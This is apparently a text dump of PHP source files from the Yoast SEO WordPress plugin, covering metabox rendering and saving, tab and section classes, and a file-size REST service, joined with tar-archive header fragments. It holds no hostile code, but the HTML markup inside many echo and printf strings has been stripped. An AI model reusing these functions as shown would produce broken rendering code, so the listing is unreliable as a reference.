'Breadcrumbs Title', 'wordpress-seo' ); WPSEO_Meta::$meta_fields['advanced']['bctitle']['description'] = __( 'Title to use for this page in breadcrumb paths', 'wordpress-seo' ); WPSEO_Meta::$meta_fields['advanced']['canonical']['title'] = __( 'Canonical URL', 'wordpress-seo' ); WPSEO_Meta::$meta_fields['advanced']['canonical']['description'] = sprintf( /* translators: 1: link open tag; 2: link close tag. */ __( 'The canonical URL that this page should point to. Leave empty to default to permalink. %1$sCross domain canonical%2$s supported too.', 'wordpress-seo' ), '', WPSEO_Admin_Utils::get_new_tab_message() . '' ); WPSEO_Meta::$meta_fields['advanced']['redirect']['title'] = __( '301 Redirect', 'wordpress-seo' ); WPSEO_Meta::$meta_fields['advanced']['redirect']['description'] = __( 'The URL that this page should redirect to.', 'wordpress-seo' ); do_action_deprecated( 'wpseo_tab_translate', [], 'Yoast SEO 23.5', '', 'WPSEO_Metabox::translate_meta_boxes is deprecated.' ); } /** * Determines whether the metabox should be shown for the passed identifier. * * By default the check is done for post types, but can also be used for taxonomies. * * @param string|null $identifier The identifier to check. * @param string $type The type of object to check. Defaults to post_type. * * @return bool Whether or not the metabox should be displayed. */ public function display_metabox( $identifier = null, $type = 'post_type' ) { return WPSEO_Utils::is_metabox_active( $identifier, $type ); } /** * Adds the Yoast SEO meta box to the edit boxes in the edit post, page, * attachment, and custom post types pages. * * @return void */ public function add_meta_box() { $post_types = WPSEO_Post_Type::get_accessible_post_types(); $post_types = array_filter( $post_types, [ $this, 'display_metabox' ] ); if ( ! is_array( $post_types ) || $post_types === [] ) { return; } $product_title = $this->get_product_title(); foreach ( $post_types as $post_type ) { add_filter( "postbox_classes_{$post_type}_wpseo_meta", [ $this, 'wpseo_metabox_class' ] ); add_meta_box( 'wpseo_meta', $product_title, [ $this, 'meta_box' ], $post_type, 'normal', apply_filters( 'wpseo_metabox_prio', 'high' ), [ '__block_editor_compatible_meta_box' => true ] ); } } /** * Adds CSS classes to the meta box. * * @param string[] $classes An array of postbox CSS classes. * * @return string[] List of classes that will be applied to the editbox container. */ public function wpseo_metabox_class( $classes ) { $classes[] = 'yoast wpseo-metabox'; return $classes; } /** * Passes variables to js for use with the post-scraper. * * @return array|bool|int> */ public function get_metabox_script_data() { $permalink = $this->get_permalink(); $post_formatter = new WPSEO_Metabox_Formatter( new WPSEO_Post_Metabox_Formatter( $this->get_metabox_post(), [], $permalink ) ); $values = $post_formatter->get_values(); /** This filter is documented in admin/filters/class-cornerstone-filter.php. */ $post_types = apply_filters( 'wpseo_cornerstone_post_types', WPSEO_Post_Type::get_accessible_post_types() ); if ( $values['cornerstoneActive'] && ! in_array( $this->get_metabox_post()->post_type, $post_types, true ) ) { $values['cornerstoneActive'] = false; } if ( $values['semrushIntegrationActive'] && $this->post->post_type === 'attachment' ) { $values['semrushIntegrationActive'] = 0; } if ( $values['wincherIntegrationActive'] && $this->post->post_type === 'attachment' ) { $values['wincherIntegrationActive'] = 0; } return $values; } /** * Determines whether or not the current post type has registered taxonomies. * * @return bool Whether the current post type has taxonomies. */ private function current_post_type_has_taxonomies() { $post_taxonomies = get_object_taxonomies( get_post_type() ); return ! empty( $post_taxonomies ); } /** * Determines the scope based on the post type. * This can be used by the replacevar plugin to determine if a replacement needs to be executed. * * @return string String describing the current scope. */ private function determine_scope() { if ( $this->get_metabox_post()->post_type === 'page' ) { return 'page'; } return 'post'; } /** * Outputs the meta box. * * @return void */ public function meta_box() { $this->render_hidden_fields(); $this->render_tabs(); } /** * Renders the metabox hidden fields. * * @return void */ protected function render_hidden_fields() { wp_nonce_field( 'yoast_free_metabox', 'yoast_free_metabox_nonce' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped in class. echo new Meta_Fields_Presenter( $this->get_metabox_post(), 'general' ); if ( $this->is_advanced_metadata_enabled ) { // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped in class. echo new Meta_Fields_Presenter( $this->get_metabox_post(), 'advanced' ); } // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped in class. echo new Meta_Fields_Presenter( $this->get_metabox_post(), 'schema', $this->get_metabox_post()->post_type ); if ( $this->social_is_enabled ) { // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped in class. echo new Meta_Fields_Presenter( $this->get_metabox_post(), 'social' ); } /** * Filter: 'wpseo_content_meta_section_content' - Allow filtering the metabox content before outputting. * * @param string $post_content The metabox content string. */ // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Output should be escaped in the filter. echo apply_filters( 'wpseo_content_meta_section_content', '' ); } /** * Renders the metabox tabs. * * @return void */ protected function render_tabs() { echo '
    '; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $this->get_product_title() returns a hard-coded string. printf( '
      ', $this->get_product_title() ); $tabs = $this->get_tabs(); foreach ( $tabs as $tab ) { if ( $tab->name === 'premium' ) { continue; } $tab->display_link(); } echo '
    '; foreach ( $tabs as $tab ) { $tab->display_content(); } echo '
    '; } /** * Returns the relevant metabox tabs for the current view. * * @return WPSEO_Metabox_Section[] */ private function get_tabs() { $tabs = []; $label = __( 'SEO', 'wordpress-seo' ); if ( $this->seo_analysis->is_enabled() ) { $label = '' . $label; } $tabs[] = new WPSEO_Metabox_Section_React( 'content', $label ); if ( $this->readability_analysis->is_enabled() ) { $tabs[] = new WPSEO_Metabox_Section_Readability(); } if ( $this->inclusive_language_analysis->is_enabled() ) { $tabs[] = new WPSEO_Metabox_Section_Inclusive_Language(); } if ( $this->is_advanced_metadata_enabled ) { $tabs[] = new WPSEO_Metabox_Section_React( 'schema', '' . __( 'Schema', 'wordpress-seo' ), '' ); } if ( $this->social_is_enabled ) { $tabs[] = new WPSEO_Metabox_Section_React( 'social', '' . __( 'Social', 'wordpress-seo' ), '', [ 'html_after' => '
    ', ] ); } $tabs = array_merge( $tabs, $this->get_additional_tabs() ); return $tabs; } /** * Returns the metabox tabs that have been added by other plugins. * * @return WPSEO_Metabox_Section_Additional[] */ protected function get_additional_tabs() { $tabs = []; /** * Private filter: 'yoast_free_additional_metabox_sections'. * * Meant for internal use only. Allows adding additional tabs to the Yoast SEO metabox. * * @since 11.9 * * @param array[] $tabs { * An array of arrays with tab specifications. * * @type array $tab { * A tab specification. * * @type string $name The name of the tab. Used in the HTML IDs, href and aria properties. * @type string $link_content The content of the tab link. * @type string $content The content of the tab. * @type array $options { * Optional. Extra options. * * @type string $link_class Optional. The class for the tab link. * @type string $link_aria_label Optional. The aria label of the tab link. * } * } * } */ $requested_tabs = apply_filters( 'yoast_free_additional_metabox_sections', [] ); foreach ( $requested_tabs as $tab ) { if ( is_array( $tab ) && array_key_exists( 'name', $tab ) && array_key_exists( 'link_content', $tab ) && array_key_exists( 'content', $tab ) ) { $options = array_key_exists( 'options', $tab ) ? $tab['options'] : []; $tabs[] = new WPSEO_Metabox_Section_Additional( $tab['name'], $tab['link_content'], $tab['content'], $options ); } } return $tabs; } /** * Adds a line in the meta box. * * @deprecated 23.5 * @codeCoverageIgnore * * @param string[] $meta_field_def Contains the vars based on which output is generated. * @param string $key Internal key (without prefix). * * @return string */ public function do_meta_box( $meta_field_def, $key = '' ) { _deprecated_function( __METHOD__, 'Yoast SEO 23.5' ); $content = ''; $esc_form_key = esc_attr( WPSEO_Meta::$form_prefix . $key ); $meta_value = WPSEO_Meta::get_value( $key, $this->get_metabox_post()->ID ); $class = ''; if ( isset( $meta_field_def['class'] ) && $meta_field_def['class'] !== '' ) { $class = ' ' . $meta_field_def['class']; } $placeholder = ''; if ( isset( $meta_field_def['placeholder'] ) && $meta_field_def['placeholder'] !== '' ) { $placeholder = $meta_field_def['placeholder']; } $aria_describedby = ''; $description = ''; if ( isset( $meta_field_def['description'] ) ) { $aria_describedby = ' aria-describedby="' . $esc_form_key . '-desc"'; $description = '

    ' . $meta_field_def['description'] . '

    '; } // Add a hide_on_pages option that returns nothing when the field is rendered on a page. if ( isset( $meta_field_def['hide_on_pages'] ) && $meta_field_def['hide_on_pages'] && get_post_type() === 'page' ) { return ''; } switch ( $meta_field_def['type'] ) { case 'text': $ac = ''; if ( isset( $meta_field_def['autocomplete'] ) && $meta_field_def['autocomplete'] === false ) { $ac = 'autocomplete="off" '; } if ( $placeholder !== '' ) { $placeholder = ' placeholder="' . esc_attr( $placeholder ) . '"'; } $content .= ''; break; case 'url': if ( $placeholder !== '' ) { $placeholder = ' placeholder="' . esc_attr( $placeholder ) . '"'; } $content .= ''; break; case 'textarea': $rows = 3; if ( isset( $meta_field_def['rows'] ) && $meta_field_def['rows'] > 0 ) { $rows = $meta_field_def['rows']; } $content .= ''; break; case 'hidden': $default = ''; if ( isset( $meta_field_def['default'] ) ) { $default = sprintf( ' data-default="%s"', esc_attr( $meta_field_def['default'] ) ); } $content .= '' . "\n"; break; case 'select': if ( isset( $meta_field_def['options'] ) && is_array( $meta_field_def['options'] ) && $meta_field_def['options'] !== [] ) { $content .= ''; } break; case 'multiselect': if ( isset( $meta_field_def['options'] ) && is_array( $meta_field_def['options'] ) && $meta_field_def['options'] !== [] ) { // Set $meta_value as $selected_arr. $selected_arr = $meta_value; // If the multiselect field is 'meta-robots-adv' we should explode on ,. if ( $key === 'meta-robots-adv' ) { $selected_arr = explode( ',', $meta_value ); } if ( ! is_array( $selected_arr ) ) { $selected_arr = (array) $selected_arr; } $options_count = count( $meta_field_def['options'] ); $content .= ''; unset( $val, $option, $selected, $selected_arr, $options_count ); } break; case 'checkbox': $checked = checked( $meta_value, 'on', false ); $expl = ( isset( $meta_field_def['expl'] ) ) ? esc_html( $meta_field_def['expl'] ) : ''; $content .= ' '; unset( $checked, $expl ); break; case 'radio': if ( isset( $meta_field_def['options'] ) && is_array( $meta_field_def['options'] ) && $meta_field_def['options'] !== [] ) { foreach ( $meta_field_def['options'] as $val => $option ) { $checked = checked( $meta_value, $val, false ); $content .= ' '; } unset( $val, $option, $checked ); } break; } $html = ''; if ( $content === '' ) { $content = apply_filters_deprecated( 'wpseo_do_meta_box_field_' . $key, [ $content, $meta_value, $esc_form_key, $meta_field_def, $key ], 'Yoast SEO 23.5', '', 'do_meta_box is deprecated' ); } if ( $content !== '' ) { $title = esc_html( $meta_field_def['title'] ); // By default, use the field title as a label element. $label = ''; // Set the inline help and help panel, if any. $help_button = ''; $help_panel = ''; if ( isset( $meta_field_def['help'] ) && $meta_field_def['help'] !== '' ) { $help = new WPSEO_Admin_Help_Panel( $key, $meta_field_def['help-button'], $meta_field_def['help'] ); $help_button = $help->get_button_html(); $help_panel = $help->get_panel_html(); } // If it's a set of radio buttons, output proper fieldset and legend. if ( $meta_field_def['type'] === 'radio' ) { return '
    ' . $title . '' . $help_button . $help_panel . $content . $description . '
    '; } // If it's a single checkbox, ignore the title. if ( $meta_field_def['type'] === 'checkbox' ) { $label = ''; } // Other meta box content or form fields. if ( $meta_field_def['type'] === 'hidden' ) { $html = $content; } else { $html = $label . $description . $help_button . $help_panel . $content; } } return $html; } /** * Saves the WP SEO metadata for posts. * * {@internal $_POST parameters are validated via sanitize_post_meta().}} * * @param int $post_id Post ID. * * @return bool|void Boolean false if invalid save post request. */ public function save_postdata( $post_id ) { // Bail if this is a multisite installation and the site has been switched. if ( is_multisite() && ms_is_switched() ) { return false; } if ( $post_id === null ) { return false; } // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized in wp_verify_none. if ( ! isset( $_POST['yoast_free_metabox_nonce'] ) || ! wp_verify_nonce( wp_unslash( $_POST['yoast_free_metabox_nonce'] ), 'yoast_free_metabox' ) ) { return false; } if ( wp_is_post_revision( $post_id ) ) { $post_id = wp_is_post_revision( $post_id ); } /** * Determine we're not accidentally updating a different post. * We can't use filter_input here as the ID isn't available at this point, other than in the $_POST data. */ if ( ! isset( $_POST['ID'] ) || $post_id !== (int) $_POST['ID'] ) { return false; } clean_post_cache( $post_id ); $post = get_post( $post_id ); if ( ! is_object( $post ) ) { // Non-existent post. return false; } do_action( 'wpseo_save_compare_data', $post ); $social_fields = []; if ( $this->social_is_enabled ) { $social_fields = WPSEO_Meta::get_meta_field_defs( 'social' ); } $meta_boxes = apply_filters( 'wpseo_save_metaboxes', [] ); $meta_boxes = array_merge( $meta_boxes, WPSEO_Meta::get_meta_field_defs( 'general', $post->post_type ), WPSEO_Meta::get_meta_field_defs( 'advanced' ), $social_fields, WPSEO_Meta::get_meta_field_defs( 'schema', $post->post_type ) ); foreach ( $meta_boxes as $key => $meta_box ) { // If analysis is disabled remove that analysis score value from the DB. if ( $this->is_meta_value_disabled( $key ) ) { WPSEO_Meta::delete( $key, $post_id ); continue; } $data = null; $field_name = WPSEO_Meta::$form_prefix . $key; if ( $meta_box['type'] === 'checkbox' ) { $data = isset( $_POST[ $field_name ] ) ? 'on' : 'off'; } else { if ( isset( $_POST[ $field_name ] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- We're preparing to do just that. $data = wp_unslash( $_POST[ $field_name ] ); // For multi-select. if ( is_array( $data ) ) { $data = array_map( [ 'WPSEO_Utils', 'sanitize_text_field' ], $data ); } if ( is_string( $data ) ) { $data = ( $key !== 'canonical' ) ? WPSEO_Utils::sanitize_text_field( $data ) : WPSEO_Utils::sanitize_url( $data ); } } // Reset options when no entry is present with multiselect - only applies to `meta-robots-adv` currently. if ( ! isset( $_POST[ $field_name ] ) && ( $meta_box['type'] === 'multiselect' ) ) { $data = []; } } if ( $data !== null ) { WPSEO_Meta::set_value( $key, $data, $post_id ); } } do_action( 'wpseo_saved_postdata' ); } /** * Determines if the given meta value key is disabled. * * @param string $key The key of the meta value. * * @return bool Whether the given meta value key is disabled. */ public function is_meta_value_disabled( $key ) { if ( $key === 'linkdex' && ! $this->seo_analysis->is_enabled() ) { return true; } if ( $key === 'content_score' && ! $this->readability_analysis->is_enabled() ) { return true; } if ( $key === 'inclusive_language_score' && ! $this->inclusive_language_analysis->is_enabled() ) { return true; } return false; } /** * Enqueues all the needed JS and CSS. * * @todo [JRF => whomever] Create css/metabox-mp6.css file and add it to the below allowed colors array when done. * * @return void */ public function enqueue() { global $pagenow; $asset_manager = new WPSEO_Admin_Asset_Manager(); $is_editor = self::is_post_overview( $pagenow ) || self::is_post_edit( $pagenow ); if ( self::is_post_overview( $pagenow ) ) { $asset_manager->enqueue_style( 'edit-page' ); $asset_manager->enqueue_script( 'edit-page' ); return; } /* Filter 'wpseo_always_register_metaboxes_on_admin' documented in wpseo-main.php */ if ( ( $is_editor === false && apply_filters( 'wpseo_always_register_metaboxes_on_admin', false ) === false ) || $this->display_metabox() === false ) { return; } $post_id = get_queried_object_id(); // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( empty( $post_id ) && isset( $_GET['post'] ) && is_string( $_GET['post'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. $post_id = sanitize_text_field( wp_unslash( $_GET['post'] ) ); } if ( $post_id !== 0 ) { // Enqueue files needed for upload functionality. wp_enqueue_media( [ 'post' => $post_id ] ); } $asset_manager->enqueue_style( 'metabox-css' ); $asset_manager->enqueue_style( 'scoring' ); $asset_manager->enqueue_style( 'monorepo' ); $asset_manager->enqueue_style( 'ai-generator' ); $asset_manager->enqueue_style( 'ai-fix-assessments' ); $is_block_editor = WP_Screen::get()->is_block_editor(); $post_edit_handle = 'post-edit'; if ( ! $is_block_editor ) { $post_edit_handle = 'post-edit-classic'; } $asset_manager->enqueue_script( $post_edit_handle ); $asset_manager->enqueue_style( 'admin-css' ); /** * Removes the emoji script as it is incompatible with both React and any * contenteditable fields. */ remove_action( 'admin_print_scripts', 'print_emoji_detection_script' ); $asset_manager->localize_script( $post_edit_handle, 'wpseoAdminL10n', WPSEO_Utils::get_admin_l10n() ); $plugins_script_data = [ 'replaceVars' => [ 'replace_vars' => $this->get_replace_vars(), 'hidden_replace_vars' => $this->get_hidden_replace_vars(), 'recommended_replace_vars' => $this->get_recommended_replace_vars(), 'scope' => $this->determine_scope(), 'has_taxonomies' => $this->current_post_type_has_taxonomies(), ], 'shortcodes' => [ 'wpseo_shortcode_tags' => $this->get_valid_shortcode_tags(), 'wpseo_filter_shortcodes_nonce' => wp_create_nonce( 'wpseo-filter-shortcodes' ), ], ]; $worker_script_data = [ 'url' => YoastSEO()->helpers->asset->get_asset_url( 'yoast-seo-analysis-worker' ), 'dependencies' => YoastSEO()->helpers->asset->get_dependency_urls_by_handle( 'yoast-seo-analysis-worker' ), 'keywords_assessment_url' => YoastSEO()->helpers->asset->get_asset_url( 'yoast-seo-used-keywords-assessment' ), 'log_level' => WPSEO_Utils::get_analysis_worker_log_level(), ]; $page_on_front = (int) get_option( 'page_on_front' ); $homepage_is_page = get_option( 'show_on_front' ) === 'page'; $is_front_page = $homepage_is_page && $page_on_front === (int) $post_id; $script_data = [ 'metabox' => $this->get_metabox_script_data(), 'isPost' => true, 'isBlockEditor' => $is_block_editor, 'postId' => $post_id, 'postStatus' => get_post_status( $post_id ), 'postType' => get_post_type( $post_id ), 'usedKeywordsNonce' => wp_create_nonce( 'wpseo-keyword-usage-and-post-types' ), 'analysis' => [ 'plugins' => $plugins_script_data, 'worker' => $worker_script_data, ], 'isFrontPage' => $is_front_page, ]; /** * The website information repository. * * @var $repo Website_Information_Repository */ $repo = YoastSEO()->classes->get( Website_Information_Repository::class ); $site_information = $repo->get_post_site_information(); $site_information->set_permalink( $this->get_permalink() ); $script_data = array_merge_recursive( $site_information->get_legacy_site_information(), $script_data ); if ( ! $is_block_editor && post_type_supports( get_post_type(), 'thumbnail' ) ) { $asset_manager->enqueue_style( 'featured-image' ); } $asset_manager->localize_script( $post_edit_handle, 'wpseoScriptData', $script_data ); $asset_manager->enqueue_user_language_script(); } /** * Returns post in metabox context. * * @return WP_Post|array */ protected function get_metabox_post() { if ( $this->post !== null ) { return $this->post; } // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. if ( isset( $_GET['post'] ) && is_string( $_GET['post'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information, Sanitization happens in the validate_int function. $post_id = (int) WPSEO_Utils::validate_int( wp_unslash( $_GET['post'] ) ); $this->post = get_post( $post_id ); return $this->post; } if ( isset( $GLOBALS['post'] ) ) { $this->post = $GLOBALS['post']; return $this->post; } return []; } /** * Returns an array with shortcode tags for all registered shortcodes. * * @return string[] */ private function get_valid_shortcode_tags() { $shortcode_tags = []; foreach ( $GLOBALS['shortcode_tags'] as $tag => $description ) { $shortcode_tags[] = $tag; } return $shortcode_tags; } /** * Prepares the replace vars for localization. * * @return string[] Replace vars. */ private function get_replace_vars() { $cached_replacement_vars = []; $vars_to_cache = [ 'date', 'id', 'sitename', 'sitedesc', 'sep', 'page', 'currentdate', 'currentyear', 'currentmonth', 'currentday', 'post_year', 'post_month', 'post_day', 'name', 'author_first_name', 'author_last_name', 'permalink', 'post_content', 'category_title', 'tag', 'category', ]; foreach ( $vars_to_cache as $var ) { $cached_replacement_vars[ $var ] = wpseo_replace_vars( '%%' . $var . '%%', $this->get_metabox_post() ); } // Merge custom replace variables with the WordPress ones. return array_merge( $cached_replacement_vars, $this->get_custom_replace_vars( $this->get_metabox_post() ) ); } /** * Returns the list of replace vars that should be hidden inside the editor. * * @return string[] The hidden replace vars. */ protected function get_hidden_replace_vars() { return ( new WPSEO_Replace_Vars() )->get_hidden_replace_vars(); } /** * Prepares the recommended replace vars for localization. * * @return array Recommended replacement variables. */ private function get_recommended_replace_vars() { $recommended_replace_vars = new WPSEO_Admin_Recommended_Replace_Vars(); // What is recommended depends on the current context. $post_type = $recommended_replace_vars->determine_for_post( $this->get_metabox_post() ); return $recommended_replace_vars->get_recommended_replacevars_for( $post_type ); } /** * Gets the custom replace variables for custom taxonomies and fields. * * @param WP_Post $post The post to check for custom taxonomies and fields. * * @return array Array containing all the replacement variables. */ private function get_custom_replace_vars( $post ) { return [ 'custom_fields' => $this->get_custom_fields_replace_vars( $post ), 'custom_taxonomies' => $this->get_custom_taxonomies_replace_vars( $post ), ]; } /** * Gets the custom replace variables for custom taxonomies. * * @param WP_Post $post The post to check for custom taxonomies. * * @return array Array containing all the replacement variables. */ private function get_custom_taxonomies_replace_vars( $post ) { $taxonomies = get_object_taxonomies( $post, 'objects' ); $custom_replace_vars = []; foreach ( $taxonomies as $taxonomy_name => $taxonomy ) { if ( is_string( $taxonomy ) ) { // If attachment, see https://core.trac.wordpress.org/ticket/37368 . $taxonomy_name = $taxonomy; $taxonomy = get_taxonomy( $taxonomy_name ); } if ( $taxonomy->_builtin && $taxonomy->public ) { continue; } $custom_replace_vars[ $taxonomy_name ] = [ 'name' => $taxonomy->name, 'description' => $taxonomy->description, ]; } return $custom_replace_vars; } /** * Gets the custom replace variables for custom fields. * * @param WP_Post $post The post to check for custom fields. * * @return array Array containing all the replacement variables. */ private function get_custom_fields_replace_vars( $post ) { $custom_replace_vars = []; // If no post object is passed, return the empty custom_replace_vars array. if ( ! is_object( $post ) ) { return $custom_replace_vars; } $custom_fields = get_post_custom( $post->ID ); // If $custom_fields is an empty string or generally not an array, return early. if ( ! is_array( $custom_fields ) ) { return $custom_replace_vars; } $meta = YoastSEO()->meta->for_post( $post->ID ); if ( ! $meta ) { return $custom_replace_vars; } // Simply concatenate all fields containing replace vars so we can handle them all with a single regex find. $replace_vars_fields = implode( ' ', [ $meta->presentation->title, $meta->presentation->meta_description, ] ); preg_match_all( '/%%cf_([A-Za-z0-9_]+)%%/', $replace_vars_fields, $matches ); $fields_to_include = $matches[1]; foreach ( $custom_fields as $custom_field_name => $custom_field ) { // Skip private custom fields. if ( substr( $custom_field_name, 0, 1 ) === '_' ) { continue; } // Skip custom fields that are not used, new ones will be fetched dynamically. if ( ! in_array( $custom_field_name, $fields_to_include, true ) ) { continue; } // Skip custom field values that are serialized. if ( is_serialized( $custom_field[0] ) ) { continue; } $custom_replace_vars[ $custom_field_name ] = $custom_field[0]; } return $custom_replace_vars; } /** * Checks if the page is the post overview page. * * @param string $page The page to check for the post overview page. * * @return bool Whether or not the given page is the post overview page. */ public static function is_post_overview( $page ) { return $page === 'edit.php'; } /** * Checks if the page is the post edit page. * * @param string $page The page to check for the post edit page. * * @return bool Whether or not the given page is the post edit page. */ public static function is_post_edit( $page ) { return $page === 'post.php' || $page === 'post-new.php'; } /** * Retrieves the product title. * * @return string The product title. */ protected function get_product_title() { return YoastSEO()->helpers->product->get_product_name(); } /** * Gets the permalink. * * @return string */ protected function get_permalink() { $permalink = ''; if ( is_object( $this->get_metabox_post() ) ) { $permalink = get_sample_permalink( $this->get_metabox_post()->ID ); $permalink = $permalink[0]; } return $permalink; } } metabox/class-metabox-collapsibles-section.php000064400000003745147207033440015607 0ustar00collapsibles = $collapsibles; } /** * Outputs the section content if any tab has been added. * * @return void */ public function display_content() { if ( $this->has_sections() ) { printf( '
    ', esc_attr( 'wpseo-meta-section-' . $this->name ) ); echo '
    '; add_filter( 'wp_kses_allowed_html', [ 'WPSEO_Utils', 'extend_kses_post_with_forms' ] ); add_filter( 'wp_kses_allowed_html', [ 'WPSEO_Utils', 'extend_kses_post_with_a11y' ] ); foreach ( $this->collapsibles as $collapsible ) { echo wp_kses_post( $collapsible->content() ); } remove_filter( 'wp_kses_allowed_html', [ 'WPSEO_Utils', 'extend_kses_post_with_forms' ] ); remove_filter( 'wp_kses_allowed_html', [ 'WPSEO_Utils', 'extend_kses_post_with_a11y' ] ); echo '
    '; } } /** * Checks whether the tab has any sections. * * @return bool Whether the tab has any sections */ protected function has_sections() { return ! empty( $this->collapsibles ); } } metabox/class-metabox-section-readability.php000064400000002253147207033440015415 0ustar00
    %2$s
    ', esc_attr( $this->name ), esc_html__( 'Readability', 'wordpress-seo' ) ); } /** * Outputs the section content. * * @return void */ public function display_content() { printf( '
    ', esc_attr( $this->name ) ); echo '
    ', '
    '; } } metabox/class-metabox-section-inclusive-language.php000064400000002316147207033440016706 0ustar00
    %2$s
    ', esc_attr( $this->name ), esc_html__( 'Inclusive language', 'wordpress-seo' ) ); } /** * Outputs the section content. * * @return void */ public function display_content() { printf( '
    ', esc_attr( $this->name ) ); echo '
    ', '
    '; } } metabox/class-metabox-form-tab.php000064400000005440147207033440013172 0ustar00 '', 'link_class' => '', 'link_title' => '', 'link_aria_label' => '', 'single' => false, ]; $options = array_merge( $default_options, $options ); $this->name = $name; $this->content = $content; $this->link_content = $link_content; $this->tab_class = $options['tab_class']; $this->link_class = $options['link_class']; $this->link_title = $options['link_title']; $this->link_aria_label = $options['link_aria_label']; $this->single = $options['single']; } /** * Returns the html for the tab link. * * @return string */ public function link() { $html = '
  • %6$s
  • '; if ( $this->single ) { $html = '
  • %6$s
  • '; } return sprintf( $html, esc_attr( $this->name ), ( $this->tab_class !== '' ) ? ' ' . esc_attr( $this->tab_class ) : '', ( $this->link_class !== '' ) ? ' ' . esc_attr( $this->link_class ) : '', ( $this->link_title !== '' ) ? ' title="' . esc_attr( $this->link_title ) . '"' : '', ( $this->link_aria_label !== '' ) ? ' aria-label="' . esc_attr( $this->link_aria_label ) . '"' : '', $this->link_content ); } /** * Returns the html for the tab content. * * @return string */ public function content() { return sprintf( '
    %3$s
    ', esc_attr( 'wpseo_' . $this->name ), esc_attr( $this->name ), $this->content ); } } metabox/interface-metabox-section.php000064400000000552147207033440013761 0ustar00name = $name; $this->content = $content; $default_options = [ 'link_class' => '', 'link_aria_label' => '', 'html_after' => '', ]; $options = wp_parse_args( $options, $default_options ); $this->link_content = $link_content; $this->link_class = $options['link_class']; $this->link_aria_label = $options['link_aria_label']; $this->html_after = $options['html_after']; } /** * Outputs the section link. * * @return void */ public function display_link() { printf( '
  • %4$s
  • ', esc_attr( $this->name ), esc_attr( $this->link_class ), ( $this->link_aria_label !== '' ) ? ' aria-label="' . esc_attr( $this->link_aria_label ) . '"' : '', wp_kses_post( $this->link_content ) ); } /** * Outputs the section content. * * @return void */ public function display_content() { add_filter( 'wp_kses_allowed_html', [ 'WPSEO_Utils', 'extend_kses_post_with_forms' ] ); add_filter( 'wp_kses_allowed_html', [ 'WPSEO_Utils', 'extend_kses_post_with_a11y' ] ); printf( '
    ', esc_attr( $this->name ) ); echo wp_kses_post( $this->content ); echo '
    '; echo wp_kses_post( $this->html_after ); echo '
    '; remove_filter( 'wp_kses_allowed_html', [ 'WPSEO_Utils', 'extend_kses_post_with_forms' ] ); remove_filter( 'wp_kses_allowed_html', [ 'WPSEO_Utils', 'extend_kses_post_with_a11y' ] ); } } metabox/interface-metabox-tab.php000064400000000533147207033440013062 0ustar00is_globally_enabled() && $this->is_user_enabled(); } /** * Whether or not this analysis is enabled by the user. * * @return bool Whether or not this analysis is enabled by the user. */ public function is_user_enabled() { return ! get_the_author_meta( 'wpseo_content_analysis_disable', get_current_user_id() ); } /** * Whether or not this analysis is enabled globally. * * @return bool Whether or not this analysis is enabled globally. */ public function is_globally_enabled() { return WPSEO_Options::get( 'content_analysis_active', true ); } } services/class-file-size.php000064400000004653147207033440012106 0ustar00get_file_url( $request ); return new WP_REST_Response( [ 'type' => 'success', 'size_in_bytes' => $this->get_file_size( $file_url ), ], 200 ); } catch ( WPSEO_File_Size_Exception $exception ) { return new WP_REST_Response( [ 'type' => 'failure', 'response' => $exception->getMessage(), ], 404 ); } } /** * Retrieves the file url. * * @param WP_REST_Request $request The request to retrieve file url from. * * @return string The file url. * @throws WPSEO_File_Size_Exception The file is hosted externally. */ protected function get_file_url( WP_REST_Request $request ) { $file_url = rawurldecode( $request->get_param( 'url' ) ); if ( ! $this->is_externally_hosted( $file_url ) ) { return $file_url; } throw WPSEO_File_Size_Exception::externally_hosted( $file_url ); } /** * Checks if the file is hosted externally. * * @param string $file_url The file url. * * @return bool True if it is hosted externally. */ protected function is_externally_hosted( $file_url ) { return wp_parse_url( home_url(), PHP_URL_HOST ) !== wp_parse_url( $file_url, PHP_URL_HOST ); } /** * Returns the file size. * * @param string $file_url The file url to get the size for. * * @return int The file size. * @throws WPSEO_File_Size_Exception Retrieval of file size went wrong for unknown reasons. */ protected function get_file_size( $file_url ) { $file_config = wp_upload_dir(); $file_url = str_replace( $file_config['baseurl'], '', $file_url ); $file_size = $this->calculate_file_size( $file_url ); if ( ! $file_size ) { throw WPSEO_File_Size_Exception::unknown_error( $file_url ); } return $file_size; } /** * Calculates the file size using the Utils class. * * @param string $file_url The file to retrieve the size for. * * @return int|bool The file size or False if it could not be retrieved. */ protected function calculate_file_size( $file_url ) { return WPSEO_Image_Utils::get_file_size( [ 'path' => $file_url, ] ); } } class-bulk-description-editor-list-table.php000064400000004064147207033440015170 0ustar00 'wpseo_bulk_description', 'plural' => 'wpseo_bulk_descriptions', 'ajax' => true, ]; /** * The field in the database where meta field is saved. * * @var string */ protected $target_db_field = 'metadesc'; /** * The columns shown on the table. * * @return array */ public function get_columns() { $columns = [ 'col_existing_yoast_seo_metadesc' => __( 'Existing Yoast Meta Description', 'wordpress-seo' ), 'col_new_yoast_seo_metadesc' => __( 'New Yoast Meta Description', 'wordpress-seo' ), ]; return $this->merge_columns( $columns ); } /** * Parse the metadescription. * * @param string $column_name Column name. * @param object $record Data object. * @param string $attributes HTML attributes. * * @return string */ protected function parse_page_specific_column( $column_name, $record, $attributes ) { switch ( $column_name ) { case 'col_new_yoast_seo_metadesc': return sprintf( '', esc_attr( 'wpseo-new-metadesc-' . $record->ID ), esc_attr( $record->ID ) ); case 'col_existing_yoast_seo_metadesc': // @todo Inconsistent return/echo behavior R. // I traced the escaping of the attributes to 